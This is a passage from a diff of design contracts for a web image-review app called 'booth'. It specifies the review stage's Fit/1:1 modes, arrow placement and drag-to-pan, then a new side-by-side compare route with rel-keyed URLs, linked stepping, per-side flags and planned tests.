- "view.html (R2 C6): the stage `#vstage` (server-rendered `vstage fit`), `#vimg`, `#vtoggle` with `#btn-fit`/`#btn-one`, the `.vnav.vprev`/`.vnav.vnext` anchors inside `.review-body`, the review keys and their `isEditable` guard."
|
||||
- "base.html: `.vstage`, `.vstage.fit`, `.vstage.one`, `.review-body` (grid: stage + 360px rail; stacked at <=900px)."
|
||||
- "r2b D2: Reveal all and the stage's own reveal (`#vreveal`) — untouched; they read the blur classes, not the fit classes."
|
||||
language: "jinja + css + a little javascript"
|
||||
complexity: "medium"
|
||||
estimated_loc: 220
|
||||
confidence: 0.7
|
||||
touches:
|
||||
- "booth/templates/view.html (the toggle markup; the stage-mode script; the arrow placement; drag-pan)"
|
||||
- "booth/templates/base.html (Fit-fills CSS; 1:1 cursor; the stage reveal's position; `stage-one` in the head script)"
|
||||
- "tests/test_flow.py, tests/test_flow_browser.py; tests/mutations/r2c.toml (new)"
|
||||
assumptions:
|
||||
- "ONE VIEWER, per r2: the stage mode is a per-browser preference."
|
||||
- "No server change: every part of this is markup, CSS and page script."
|
||||
---
|
||||
|
||||
# R2c — the review stage
|
||||
|
||||
## S1 — Fit fills; 1:1 is the pixel truth
|
||||
|
||||
- **Fit scales the picture to the largest size at which it is WHOLE inside the
|
||||
stage, UP or down, undistorted** (ruling "Fit may enlarge"): contain, never
|
||||
cover — nothing is ever cropped in Fit. It is CSS: the image box fills the
|
||||
stage and `object-fit: contain` places the picture in it. So the no-JS render
|
||||
is also Fit-fills — a declared change to R2's INV-3 note ("with scripts off
|
||||
the image shows at fit size"): the size changes, the promise (one picture at a
|
||||
readable size, no judgment behind a script) holds.
|
||||
- The drop shadow follows the picture's own pixels (`drop-shadow`), not the
|
||||
letterboxed box, on every path: blurred (`blur() drop-shadow()`, because
|
||||
`filter` is one property and a blur rule would replace the shadow),
|
||||
revealed, and under Reveal all.
|
||||
- **1:1 shows natural pixels**, centred when smaller than the stage and
|
||||
scrollable when larger, with EVERY pixel reachable. The stage aligns to its
|
||||
START edge in 1:1, and the picture's auto margins centre it when it is
|
||||
smaller. A centred flex item larger than its scroll box overflows both
|
||||
sides, and the start side can never be scrolled to (heid code-review,
|
||||
measured: a 3000px picture hid its leftmost 980px). The upscale softness in Fit is exactly why 1:1 exists
|
||||
and is always one click away.
|
||||
|
||||
## S2 — the toggle is always there for a picture
|
||||
|
||||
- **Fit | 1:1 shows for EVERY picture**, never hidden because a picture happens
|
||||
to fit — that per-picture hide is why the operator could not find the
|
||||
feature. Video and audio still get no toggle.
|
||||
- It is in the markup with `hidden` for pictures only; the script removes
|
||||
`hidden`. Without JS it never shows (Fit-fills needs no toggle).
|
||||
- **The mode persists across prev/next, per browser**: every click writes
|
||||
`localStorage["booth.fit"]` = `one` or removes it (Fit); arrowing through a
|
||||
set in 1:1 is how detail gets compared.
|
||||
- **The mode is ONE class on `<html>`, `stage-one`** (absent = Fit), set by
|
||||
the early `<head>` script — the one r2b uses for the theme and Reveal all —
|
||||
BEFORE THE STAGE EXISTS in the document. So no paint can ever show a 1:1
|
||||
reel's stage in Fit: the class is there before the stage is parsed. The
|
||||
stage's CSS keys off it (`.stage-one .vstage`); the server renders the
|
||||
stage as plain `vstage` (Fit is the default, no class needed).
|
||||
- A stored value other than `one` reads as Fit. A read that throws reads as
|
||||
Fit; a write that throws still applies the click, the pressed state
|
||||
included. Never raises.
|
||||
- A mode chosen in another tab moves every open review (the `storage` event),
|
||||
as the theme does.
|
||||
- The buttons' pressed state is drawn from the `<html>` class, the one
|
||||
record of the mode on the page (storage is its memory, off the page).
|
||||
|
||||
## S3 — the arrows sit at the picture
|
||||
|
||||
- **Each arrow sits wholly outside the picture's DRAWN edge, its near edge 8px
|
||||
from the picture**, vertically centred on the stage. The measure is always
|
||||
the DRAWN picture, never the file's natural size: the `object-fit: contain`
|
||||
content box (from the natural size and the box). In 1:1 (scale 1) that IS the
|
||||
picture's own box, and where it runs past the stage the clamp keeps the arrows
|
||||
inside. A
|
||||
video's own box counts the same way; audio keeps the stage-edge arrows.
|
||||
- **Clamped to the stage's CLIENT box**: an arrow never goes past the stage's
|
||||
edge (8px inset), never over the rail, never off the stage, and never under
|
||||
a classic scrollbar (the client box excludes it). When there is no room for
|
||||
it outside the drawn picture — the drawn picture spans, or nearly spans, the
|
||||
stage's width — it sits at the stage edge, over the picture. That is the
|
||||
ONLY case the arrows sit at the stage edge (the operator: "closer to the edge
|
||||
of the image instead of out at the edges unless the image spans the entire
|
||||
width").
|
||||
- Re-placed on picture load (or at once when it is already loaded), stage
|
||||
resize (a `ResizeObserver`, which covers window resizes and the rail
|
||||
stacking) and mode switch. (Scrolling a 1:1 picture cannot move its drawn
|
||||
horizontal edges past the clamp, so it needs no re-placement.)
|
||||
- **Before the picture's size is known** (JS on, picture still loading), and if
|
||||
it fails to load, the arrows stay at their CSS spot; they move once the drawn
|
||||
box is known. Without JS they stay there. If the size ever becomes unknown
|
||||
again, a placed arrow returns to that spot rather than keeping a stale one.
|
||||
- That CSS spot is the STAGE's vertical centre. When stacked (≤900px) that
|
||||
is 30vh down: the stage is the body's first 60vh, and centring on the
|
||||
whole body put the arrows over a tall rail (heid code-review). The rule
|
||||
lives in view.html after `.vnav`, because a base.html rule loses to the
|
||||
page's own later one.
|
||||
- The anchors, their classes and their hrefs are unchanged (test_booth,
|
||||
test_navigation, test_flow pin them).
|
||||
|
||||
## S4 — drag to pan in 1:1
|
||||
|
||||
- **In 1:1, when the picture overflows the stage on EITHER axis,
|
||||
press-and-drag pans it**, along whichever axes overflow. `grab` cursor at rest,
|
||||
`grabbing` while dragging, pointer capture.
|
||||
- **The picture follows the pointer** (the grab convention): a drag of +dx,
|
||||
+dy changes the stage's scroll by −dx, −dy.
|
||||
- A press that moves less than 4px IN TOTAL (Euclidean) is not a drag:
|
||||
nothing pans. A (3, 3) diagonal is 4.24px, so it pans.
|
||||
- A press on the stage's own scrollbar is the scrollbar's, never a pan.
|
||||
- The drag is CAPTURED once it begins, so it keeps panning past the stage's
|
||||
edge. A press released outside the stage before the drag began never
|
||||
becomes a pan: a move with no button held ends it.
|
||||
- **Pan listens on the stage only**, and no control is in the stage's
|
||||
scrolled content: the arrows never were, and **the stage's own reveal
|
||||
button moves OUT of the stage to sit over it** (found building this: in
|
||||
1:1 a panned picture carried the button out of view with it). So a control
|
||||
is never a pan source and keeps its own click, at any scroll.
|
||||
- That reveal is JS-only, so it renders `hidden` until the script binds it,
|
||||
the toggle's pattern (heid bug-hunt: shown with scripts off, it did
|
||||
nothing). A revealed picture keeps Fit's drop shadow.
|
||||
- Accepted: no `touch-action`. On touch the stage scrolls natively, and the
|
||||
pan yields on `pointercancel`; `none` would take native touch scrolling
|
||||
away. The `dragstart` `preventDefault` sits beside `draggable=false` as a
|
||||
second layer.
|
||||
- **The picture cannot be dragged away**: `draggable="false"` on `#vimg` and a
|
||||
`dragstart` `preventDefault` on the stage.
|
||||
- Fit, or a 1:1 picture that fits: no pan, no grab cursor.
|
||||
- Keys, the stage reveal, Reveal all, the rail and the filmstrip are
|
||||
unchanged.
|
||||
|
||||
## Invariants
|
||||
|
||||
- **INV-1 — no server change.** Markup, CSS, page script.
|
||||
- **INV-2 — JS-off parity.** Without JS: Fit-fills, stage-edge arrows, no
|
||||
toggle, no pan, and every judgment (the rail's flag, note and pick forms) and
|
||||
navigation (the arrows and the filmstrip) intact.
|
||||
- **INV-3 — one record of the mode** on the page: `stage-one` on `<html>`.
|
||||
- **INV-4 — the arrows never cover the rail and never leave the stage.**
|
||||
- **INV-5 — storage never raises**, read or write.
|
||||
|
||||
## TESTS
|
||||
|
||||
- `fit_fills_the_stage_up_or_down` [tracer]: a picture smaller than the stage
|
||||
and one larger both draw at the scale `min(W/w, H/h)` in Fit — the contain
|
||||
content box, never cropped — and at natural size in 1:1.
|
||||
- `the_toggle_shows_for_every_picture_and_never_without_js`: a picture that
|
||||
fits at natural size still gets the toggle; video and audio do not; with JS
|
||||
off it never shows.
|
||||
- `the_mode_persists_across_prev_next_and_never_flashes`: choose 1:1, press
|
||||
→ ; an observer installed before any page script records `<html>`'s class at
|
||||
the moment the stage ELEMENT is inserted by the parser — it is already
|
||||
`stage-one` (so no paint can show that stage in Fit); storage throwing still
|
||||
applies the click; a stray stored value reads as Fit.
|
||||
- `the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage`: a portrait
|
||||
picture whose natural width exceeds the stage but which is DRAWN narrower
|
||||
(height-bound in Fit) — each arrow wholly outside the drawn picture, its near
|
||||
edge 8px (±2) from it; a landscape drawn as wide as the stage — arrows inside
|
||||
the stage at its edges, over the picture, never over the rail; after a window
|
||||
resize they follow the new drawn box.
|
||||
- `in_one_to_one_every_pixel_of_a_large_picture_is_reachable`: at scroll
|
||||
(0, 0) the picture's top-left is the stage's; at the far scroll its
|
||||
bottom-right is; a small picture is centred.
|
||||
- `a_pan_holds_past_the_stage_edge_and_never_starts_on_a_hover`: a drag
|
||||
carried past the stage's edge keeps panning; a press released outside,
|
||||
then a buttonless hover, pans nothing.
|
||||
- `before_placement_the_arrows_never_sit_over_the_rail_on_a_narrow_screen`:
|
||||
JS off at 390px with a rail taller than the stage, the arrows sit within
|
||||
the stage; a picture that fails to load leaves them unplaced, with no error.
|
||||
- `the_stage_reveal_never_shows_without_js_and_keeps_the_fit_shadow`.
|
||||
- `a_stage_mode_chosen_in_one_tab_moves_the_others`.
|
||||
- `a_classic_scrollbar_is_neither_under_an_arrow_nor_a_pan`: with a forced 15px
|
||||
classic bar (asserted real first: headless Chromium hides scrollbars), the
|
||||
next arrow sits inside the client box, and a press dispatched on the bar
|
||||
pans nothing.
|
||||
- `a_picture_that_overflows_one_axis_pans_along_it`.
|
||||
- `in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away`: a picture
|
||||
overflowing both axes in 1:1 — a drag of (+80, +60) changes the scroll by
|
||||
(−80, −60); a 2px press pans nothing; a press on the stage's reveal button
|
||||
reveals and does not pan; `#vimg` is `draggable=false`; in Fit a drag does not
|
||||
scroll.
|
||||
|
||||
## Assertions that change (declared before the code)
|
||||
|
||||
| test | today | after | why |
|
||||
|---|---|---|---|
|
||||
| test_flow_browser `test_the_next_arrow_clears_the_rail_only_beside_it` | the next arrow's computed `right` is 360px wide / 0px narrow | replaced by `the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage` (never over the rail; at the picture's edge) | the arrows now track the picture, not the stage edge (operator) |
|
||||
| test_flow_browser `test_reveal_all_reveals_every_blurred_surface_and_survives_the_next_page` (r2b) | the revealed review stage's filter is `none` | it carries no blur (`blur(` absent); Fit's `drop-shadow` stays | the stage keeps its shadow on every path (S1) |
|
||||
| tests/mutations/r2_flow.toml, the row on the next arrow's 360px offset | proved `.vnext{right:360px}` wide / 0 narrow | retired, with successors in r2c.toml | its test was replaced (row one above) |
|
||||
| test_flow `test_only_a_picture_gets_the_fit_toggle_and_blur_stays_honest` | `id="vtoggle"` present for a picture (hidden by inline style); the stage is `class="vstage fit is-blurred"` | the same presence, now with the `hidden` attribute; the stage is `class="vstage is-img is-blurred"` | the toggle is `hidden` until the script shows it; the mode moved to `<html>` (never flash); `is-img` scopes the picture-only 1:1 rules |
|
||||
|
||||
## Out of scope
|
||||
|
||||
- Synced pan / the same crop across items, and two panes: r3 (compare).
|
||||
- A zoom level between Fit and 1:1, wheel zoom, pinch.
|
||||
- A key for the mode toggle.
|
||||
@@ -0,0 +1,345 @@
|
||||
---
|
||||
contract_version: "0.1"
|
||||
status: "PROPOSED 2026-09-24 by design-dev. The operator ruled compare into this arc on 2026-09-23 (the `flow` mark: compare `this_arc`, as C 'The Bench' made a view toggle). He ruled its two open questions on 2026-09-24, in design-dev's session: pairs are PICKED, never detected; the verdict is a FLAG on the winner, with no A/same/B record. booth-dev agreed with both beforehand (thread 01M3952NCDRRJX5XDFSPMSP5HJ), and asked that the URL be keyed by rel. It reuses r2c's stage machinery rather than growing a second copy."
|
||||
module: "GET /b/{name}/compare + templates/compare.html (two stages, one judgment each), with the stage machinery shared with view.html"
|
||||
purpose: "Put two items of a booth side by side in two equal stages (and, for pictures of the same size in 1:1, at the same crop), so the operator can judge which is better and flag the winner, then step to the next pair. This is the job the ladders and bakeoffs already run by eye across two tabs. sindra-bakeoff is the proving case: m against r, the same scene and seed, 16 pairs. It is laid out as two parallel runs in sorted order, so a linked step walks it pair by pair with no pairing rule."
|
||||
depends_on:
|
||||
- "items.py: `booth_items`, `review_chain` (the media ring, in item order), `find_item`, `REVIEW_KINDS`, `Item.{rel,url,kind,ordinal,caption,blurred,thumb}`."
|
||||
- "app.py: `resolve_booth`, `record_view`, `record_seen` (never raises), `marks_for` / `flagged_targets`, `_mark_redirect` (the JS-off landing, gains `back=compare`), `_mark_done` (the 204 path, unchanged)."
|
||||
- "view.html (R2 C6 + r2c): the review this is entered from; its stage script (Fit/1:1 as `stage-one` on <html>, drag-pan) is the machinery this unit shares."
|
||||
- "base.html: the head script that sets `stage-one` from `localStorage['booth.fit']` before any stage exists; the in-place client (`form[data-inplace]` -> 204 -> swap every `data-region`, then `booth:swapped`); Reveal all."
|
||||
language: "python (one route, one redirect branch) + jinja + css + javascript"
|
||||
complexity: "medium"
|
||||
estimated_loc: 420
|
||||
confidence: 0.75
|
||||
touches:
|
||||
- "booth/app.py (the compare route; `_mark_redirect` gains `back=compare`)"
|
||||
- "booth/templates/compare.html (new)"
|
||||
- "booth/templates/_stage_js.html (new: the stage machinery, moved out of view.html and shared)"
|
||||
- "booth/templates/view.html (includes _stage_js.html; gains the Compare entry and its C key)"
|
||||
- "booth/templates/base.html (compare layout CSS)"
|
||||
- "tests/test_compare.py, tests/test_compare_browser.py (new); tests/mutations/r3.toml (new)"
|
||||
assumptions:
|
||||
- "ONE VIEWER, as in R2: the linked toggle and the active side are per page load; the stage mode stays the r2c per-browser preference."
|
||||
- "No new storage and no new mark shape (the operator's ruling): the verdict is the existing flag, through the existing in-place POST."
|
||||
- "A pair is two items of the same booth's review ring. Comparing across booths is not this unit."
|
||||
---
|
||||
|
||||
# R3 — compare
|
||||
|
||||
## C1 — the route and the pair
|
||||
|
||||
- **`GET /b/{name}/compare?a=<rel>&b=<rel>`.** Both are booth-relative paths,
|
||||
exactly as `view?f=<rel>` takes one (U1 identity). **Never ordinals**: an
|
||||
ordinal is a position in the set as it is now (r2_flow, row 4). A file added
|
||||
mid-bakeoff shifts every later ordinal, so a bookmarked compare would open two
|
||||
different pictures and nothing would look wrong (booth-dev's seam note). The
|
||||
page PRINTS both ordinals.
|
||||
- **The rule for each side is a CONJUNCTION** (booth-dev's seam pass, S2). The
|
||||
review's rule alone is not enough, and neither is ring membership alone:
|
||||
1. the view route's resolve / containment / `is_file` check passes. That is
|
||||
what 404s a symlink pointing outside the booth, which `booth_items` DOES
|
||||
list, because it follows symlinks;
|
||||
2. AND the rel is in `review_chain(items)`. The review does not 404 a doc
|
||||
item (it renders it); compare does.
|
||||
Anything else is a **404**, never a 500: an embedded NUL raises ValueError
|
||||
and is a 404.
|
||||
- **A missing or empty param is a 404, not FastAPI's 422.** The review
|
||||
declares `f: str` and so answers 422 when `f` is absent. Compare declares
|
||||
`a: str = ""` and `b: str = ""`, 404s an empty one, and checks each with the
|
||||
same `isinstance(str)` that `_mark_redirect`'s `back=view` branch gives `f`
|
||||
(the view route itself declares `f: str` and checks nothing more).
|
||||
- **Route order:** the compare route is registered BEFORE the catch-all
|
||||
`/b/{name}/{filepath:path}`, as view is. Accepted, and written down: a booth
|
||||
FILE literally named `compare` is unreachable at `/b/<name>/compare`. This
|
||||
is the same shadowing view, marks, asks and embed.json already cause.
|
||||
- `a == b` is allowed. It is pointless but harmless: the same picture twice.
|
||||
- **A look records both.** `record_view(booth)` once, and `record_seen` for `a`
|
||||
and then for `b`, below the 404s and gated on the records, as the view route
|
||||
gates it. Both calls never raise.
|
||||
- **The compare ring** is the review ring filtered by that same conjunction:
|
||||
item order, media only, less anything compare would 404 (an outside symlink
|
||||
stays in the review ring). EVERY compare link is built from it: the strip,
|
||||
the steps, the review's Compare control and the `back=compare` landing. So
|
||||
no navigation offers a pair that 404s, and a step walks over such an item.
|
||||
- **Each rel is judged ONCE per request** (booth-dev, after the merge). The
|
||||
route builds the compare ring once and judges both sides by membership of
|
||||
it. Resolving a rel twice lets a file that vanishes between the two reach a
|
||||
lookup that raises, a 500. The review re-judges its own item first and scans
|
||||
forward for the next comparable one; when its item is no longer comparable,
|
||||
the review renders WITHOUT a Compare control (and `C` does nothing), never a
|
||||
500.
|
||||
- The response carries, per side: the rel, its quoted url, ordinal, kind,
|
||||
caption, blurred, flagged and thumb. It also carries the compare ring as a
|
||||
filmstrip in RING ORDER (the view route's `film`, one line in the route's docstring),
|
||||
the linked and per-side step targets (C3), the back link (the review of `a`,
|
||||
which is also where `Esc` goes), and `ord_width`.
|
||||
|
||||
## C2 — picking the two
|
||||
|
||||
- **From the review:** a `Compare` control in the review's top bar, and the key
|
||||
`C`, open `compare?a=<this item>&b=<the next item in the ring>`. With a ring
|
||||
of one item, `b` is the item itself.
|
||||
- **On the compare page, the filmstrip is the picker.**
|
||||
- Each frame is marked `A`, `B`, or nothing (both marks when `a == b`).
|
||||
- With JS, a click on a frame sets the ACTIVE side to that item and stays on
|
||||
the compare page. The active side defaults to B.
|
||||
- The active side wears the SVOS reticle (the one selection device). A press
|
||||
on either stage (pointerdown, so starting a 1:1 pan there also makes it
|
||||
active), or the key `X`, makes that side (or the other) active.
|
||||
- **The active side lives on a NON-region element**, the side's wrapper
|
||||
around its stage, and in the URL's `side` (C2), rewritten in place when it
|
||||
changes. An in-place save swaps regions (strip, labels, flags), and
|
||||
the in-place client carries only `revealed` and `is-closed` across a swap,
|
||||
so state kept on a region would be dropped. The strip's markers for the
|
||||
ACTIVE side are re-applied on `booth:swapped`. Strip clicks are delegated at
|
||||
the document, because the frames are replaced.
|
||||
- Without JS, every frame is a link that sets the active side from the URL
|
||||
(B by default): `compare?a=<a>&b=<frame>`.
|
||||
- **The view state rides in the URL too**, because every pick and step is a
|
||||
navigation, and state kept only in the page would reset on each one:
|
||||
- `side=a` makes A the active side (absent means B);
|
||||
- `link=0` unlinks the stepping (absent means linked).
|
||||
These are view state, not identity: an unknown value reads as the default,
|
||||
never as an error, and every server-built link carries the current values
|
||||
forward. The PAIR is still only the two rels. The route declares
|
||||
`side: str = ""` and `link: str = ""`, NOT an int or a Literal, which would
|
||||
bring S1's 422 back for `link=maybe`.
|
||||
- **Why B is the default active side:** A is where you came from, the anchor.
|
||||
B is what you are weighing it against, so a strip pick changes the
|
||||
comparison and not the anchor. `X` or a click on A makes A active.
|
||||
- The picked pair is ALWAYS in the URL. Every pick and every step is a
|
||||
navigation (a FULL page load) to a compare URL. The linked state and the
|
||||
active side survive it only because they ride the URL too (above); nothing
|
||||
else about the page is carried across a step, so the back button walks back through the pairs,
|
||||
and a reload shows the same pair.
|
||||
|
||||
## C3 — stepping
|
||||
|
||||
- **Linked (the default):** `←` and `→` move BOTH sides one place along the
|
||||
ring, keeping their distance: `(ia ± 1, ib ± 1)`, each modulo the ring
|
||||
length (the review's wrap). This walks a bakeoff's parallel runs: `#09 · #25`,
|
||||
then `#10 · #26`.
|
||||
- **Unlinked:** `←` and `→` move only the ACTIVE side.
|
||||
- The `Linked` toggle sits in the top bar, with the key `L`. Its state is the
|
||||
URL's `link` (C2): toggling it rewrites the current URL in place
|
||||
(`history.replaceState`) and the step links, so the next step keeps it. A
|
||||
fresh compare from the review starts linked. It is not stored anywhere
|
||||
else: a remembered unlinked state would surprise the next compare.
|
||||
- `Space` and `Shift+Space` act as `→` and `←`, with the review's guard: never
|
||||
from a focused control, and never while a player on either stage has focus.
|
||||
- **Every key on this page** (`←` `→` `Space` `A` `B` `X` `L` `Z` `C` `Esc`) is
|
||||
ignored while focus is in something editable, and whenever a modifier
|
||||
(Ctrl, Meta, Alt) is held: the review's `isEditable` rule, applied to all of
|
||||
them, not only to Space.
|
||||
- `C` and `Esc` both return to the review of A. `C` is the view toggle: `C` in
|
||||
the review opens compare with that item as A, and `C` again goes back to it.
|
||||
- Without JS, the page renders plain links for "both back", "both forward",
|
||||
and each side's back and forward, with server-computed targets.
|
||||
|
||||
## C4 — the stages
|
||||
|
||||
- **Two stages side by side** when the viewport is wider than 900px. Each is
|
||||
half the body and labelled `A #09 <name>` / `B #25 <name>`. At 900px and
|
||||
below they STACK, A above B, each at most 45vh tall. The stack break is the
|
||||
review's.
|
||||
- **The two stages are always the same size.** The sides share one set of rows
|
||||
(subgrid), so a caption under one side takes its height from both stages,
|
||||
never from that side's alone, and the separator between them is a column
|
||||
gap, never a border that comes out of one side's width. Two stages of
|
||||
different sizes would draw the same picture at two scales in Fit.
|
||||
- **At phone width (600px and below) a top bar that cannot hold its controls
|
||||
WRAPS** instead of scrolling the page sideways or crushing a control. The
|
||||
rule is on `.vbar`, so it applies to every bar of that class: compare's, the
|
||||
review's (which gains the Compare control, only its glyph below 600px), and
|
||||
doc.html's. The review's bar was already full: a fogged booth
|
||||
overflowed it by 3px at 390px before r3.
|
||||
- **Each stage is the r2c stage:** Fit fills (up or down, contain, never
|
||||
cropped), or 1:1 at natural pixels with every pixel reachable. Drag pans a
|
||||
1:1 picture that overflows. The picture cannot be dragged away. Video and
|
||||
audio play in their own stage.
|
||||
- **One mode for both:** the SAME `stage-one` class on `<html>` and the same
|
||||
`localStorage['booth.fit']`. Choosing 1:1 on the compare page is choosing it
|
||||
for the review, and back, because the mode is a per-browser preference
|
||||
(r2c S2). The `Fit | 1:1` toggle is in the top bar. The key `Z` switches
|
||||
it ON THE COMPARE PAGE ONLY, bound by compare.html and not by the shared
|
||||
include, so the review gains no key beyond `C` (INV-6). Provenance: r2c's
|
||||
out-of-scope lists "a key for the mode toggle" as its own line, not parked
|
||||
into r3. Compare takes it because comparing detail means switching modes
|
||||
often.
|
||||
- **Synced pan (parked into r3 by r2c): in 1:1, panning either stage pans the
|
||||
other to the SAME FRACTION of its scrollable range**, on each axis
|
||||
independently.
|
||||
- For two pictures of the same size, that is the same crop: the same pixels
|
||||
under the same point.
|
||||
- A side with nothing to scroll on an axis ignores that axis.
|
||||
- A scroll caused by the sync never re-triggers a sync, so there is no loop
|
||||
and no drift.
|
||||
- Scrollbars and wheel/trackpad scrolling sync the same way as drags, because
|
||||
the sync listens to `scroll`, not only to drags.
|
||||
- **One copy of the machinery, behind a stated interface** (S7: today's script
|
||||
is single-instance and ID-keyed, and `settle` is `place` + `pannable`). The
|
||||
include `_stage_js.html` defines two things and binds nothing by itself:
|
||||
- **`BoothMode.bind({toggle, fit, one, onChange})`: page level.** It owns the
|
||||
`stage-one` class, `setMode`, the pressed state, the storage writes and the
|
||||
cross-tab `storage` listener. It never raises. A page binds it ONLY when at
|
||||
least one of its stages is an image, which is the review's rule today; two
|
||||
videos get no toggle.
|
||||
- **`BoothStage.attach(stageEl, {img, onSettle})`: once per stage.** It owns
|
||||
`pannable()`, drag-to-pan (the 4px threshold, capture, scrollbar exclusion,
|
||||
`dragstart` prevention) and the stage's `can-pan` / `is-grabbing` classes.
|
||||
It calls `onSettle()` after its own settle, and it returns
|
||||
`{settle, pannable}`.
|
||||
- **view.html:** attaches its one stage with `onSettle = place`, so the
|
||||
arrows stay view's own code. It binds `BoothMode` exactly as today, and
|
||||
keeps EVERY id it has (`vstage`, `vimg`, `vtoggle`, `btn-fit`, `btn-one`,
|
||||
`vreveal`, `vmedia`, `vflag-btn`), because test_flow_browser queries them.
|
||||
Its reveal, keys, `centreFilm` and ResizeObserver stay in view.html. It
|
||||
has no floating arrows to add.
|
||||
- **compare.html:** attaches both stages and binds `BoothMode` once, with an
|
||||
`onChange` that settles both. Its per-side reveal buttons are its own code.
|
||||
It owns its OWN `ResizeObserver` over both stages, calling each stage's
|
||||
`settle`, because `pannable` changes on resize. `BoothStage.attach` does
|
||||
NOT own a ResizeObserver, so view.html's observer, and its mutation row,
|
||||
stay where they are.
|
||||
|
||||
## C5 — judging
|
||||
|
||||
- **Each side has its own flag control**, the existing flag form (`POST
|
||||
/b/{name}/flag`, `data-inplace`, 204 with JS). The verdict is "flag the
|
||||
winner", and flagging both is allowed. **What a flag records, stated plainly
|
||||
because it is the ruled trade-off:** a flag says "this one is good". Both
|
||||
flagged means both are good. Neither flagged means no call, OR a tie, and
|
||||
the flags cannot tell those apart. That is exactly why the A/same/B record
|
||||
was parked, not an oversight. Flagging the loser is the operator's
|
||||
prerogative; the page does not police it.
|
||||
- Keys: `A` toggles A's flag and `B` toggles B's. No `F` on this page,
|
||||
because which side it meant would be a guess. Each key LOOKS UP ITS BUTTON
|
||||
AGAIN at press time, because a save may have replaced it (the review's
|
||||
`vflag-btn` rule).
|
||||
- The flag controls, the filmstrip and each side's label are `data-region`s,
|
||||
so an in-place save refreshes them. The stages are never regions,
|
||||
because swapping one would restart a playing track (the review's rule).
|
||||
- **Region ids are unique on the page and keyed by SIDE** (S4): `flag-a`,
|
||||
`flag-b`, `label-a`, `label-b`, `film`. The swap keeps only the FIRST fresh
|
||||
node for each id and copies it over EVERY live node with that id. A shared
|
||||
`flag` id would therefore turn B's control into A's after any save, so
|
||||
that pressing B flagged A, and nothing would show it. The ids are NOT
|
||||
keyed by rel, which `a == b` would duplicate, and NOT prefixed `item-`,
|
||||
which the swap reads as a stale tile.
|
||||
- **Without JS, a flag lands back on the same compare page:** the form carries
|
||||
`back=compare`, `a`, `b`, `side` and `link`, and `_mark_redirect` builds
|
||||
`/b/<name>/compare?a=<quote(a, safe="/")>&b=<quote(b, safe="/")>` from them,
|
||||
appending `&side=a` ONLY when the form's value is exactly `a` and `&link=0`
|
||||
ONLY when it is exactly `0`, in that order. The view state is mapped from
|
||||
that closed set and never echoed. The URL has NO fragment (the flags sit beside the stages, so there is nothing to
|
||||
scroll to). It does that ONLY when both are strings in the ring, quoting each
|
||||
as the view branch does. It is built from the checked rels and
|
||||
never echoed from the form. Anything else takes the no-`back` landing. Every
|
||||
other `back` value is byte-identical to today (R2 INV-4).
|
||||
- Notes and the booth's open questions stay on the review. Compare carries only
|
||||
the flag, plus a `review A` / `review B` link on each side to the item's full
|
||||
review.
|
||||
|
||||
## C6 — blur and captions
|
||||
|
||||
- **Blur honesty per side:** a blurred item renders blurred, with its own
|
||||
reveal button over its stage (the review's pattern: JS-only, `hidden` until
|
||||
bound, never inside the scrolled content). Reveal all reveals both.
|
||||
- The blur CSS is scoped to `.review` (base.html: `.review .vstage.is-blurred
|
||||
img`, the `.revealed` and `is-img` rules, and Reveal all's `.reveal-all
|
||||
.review .vstage.is-blurred …`). The compare root is therefore
|
||||
`class="viewer review compare"`, and `.compare` overrides the review's
|
||||
4-row grid and the 360px rail column. The blur rules are not re-scoped:
|
||||
they and their r2b mutation rows stay as they are.
|
||||
- Each stage carries `vstage` and `is-img` (for a picture) and
|
||||
`is-blurred`, exactly as the review's does, so the 1:1 and blur rules
|
||||
apply unchanged.
|
||||
- Reveal all hides the review's stage reveal by ID
|
||||
(`.reveal-all #vreveal`). Compare's per-side reveals use a class,
|
||||
`cmp-reveal`, and base.html gains `.reveal-all .cmp-reveal{display:none}`.
|
||||
- compare.html carries `{% block html_attrs %} data-booth="{{ name }}"`,
|
||||
because without it Reveal all's script and the head script's reveal
|
||||
restore both bail (S6, r2b's mutation row for the review).
|
||||
- **Each side's caption** shows under its stage in `.cmp-cap`: the review's
|
||||
`.vcap` type (size, leading, colour, pre-wrap), clamped to 20vh rather than
|
||||
the review's 30vh, with its own scroll. Two sides share the height.
|
||||
|
||||
## Invariants
|
||||
|
||||
- **INV-1 — rel identity.** The pair is two rels, in the URL, always. Nothing
|
||||
about the pair is stored, and no ordinal ever addresses an item.
|
||||
- **INV-2 — ring only.** Both sides are media in the review ring that pass the
|
||||
view route's containment. Every server-computed link (the steps, the
|
||||
filmstrip, the review's Compare control, the flag landing) stays inside the
|
||||
compare ring (C1).
|
||||
- **INV-3 — no new storage and no new mark.** The judgment is the existing flag,
|
||||
through the existing route and the existing in-place path.
|
||||
- **INV-4 — JS-off parity.** Without JS (and so without the head script that
|
||||
would apply a stored 1:1, which is itself a script): two Fit stages. Both
|
||||
sides' flag forms are present, so choosing which side to flag needs no
|
||||
picker; per-side and linked step
|
||||
links; filmstrip links that replace the URL's active side (B by default,
|
||||
C2); flag forms that land back on the same pair.
|
||||
Nothing judgment-bearing hides behind a script.
|
||||
- **INV-5 — one record of the stage mode**, shared with the review:
|
||||
`stage-one` on `<html>`. Storage never raises.
|
||||
- **INV-6 — the review is unchanged in behaviour.** It gains a Compare control and
|
||||
a `C` key. The stage refactor changes no r2c assertion.
|
||||
|
||||
## TESTS
|
||||
|
||||
Server (`tests/test_compare.py`):
|
||||
- `compare_renders_the_pair` [tracer]: a booth of four images; `compare?a=<#1>&b=<#3>` → 200; both names and both ordinals are printed; the filmstrip marks #1 A and #3 B.
|
||||
- `a_bad_side_is_a_404`: a missing `a` or `b`, `..` traversal, a NUL, a dotfile, a doc item, a non-item file → 404 each, never 500.
|
||||
- `a_look_records_both_seen`: after a compare GET, `.seen` holds both rels; a 404 records nothing.
|
||||
- `linked_steps_keep_the_distance_and_wrap`: THE FIXTURE PUTS A DOC BETWEEN THE MEDIA (`03-notes.md`), so an ordinal is not a ring position. In a ring of 6 media with a at ring position 2 and b at ring position 5, "both forward" targets ring positions (3, 6), then (4, 1), wrapped; "both back" from (1, 4) targets (6, 3). The assertions name rels, never ordinals.
|
||||
- `the_urls_are_keyed_by_rel`: every step and filmstrip link carries `a=`/`b=` rels, url-quoted; no link carries an ordinal parameter.
|
||||
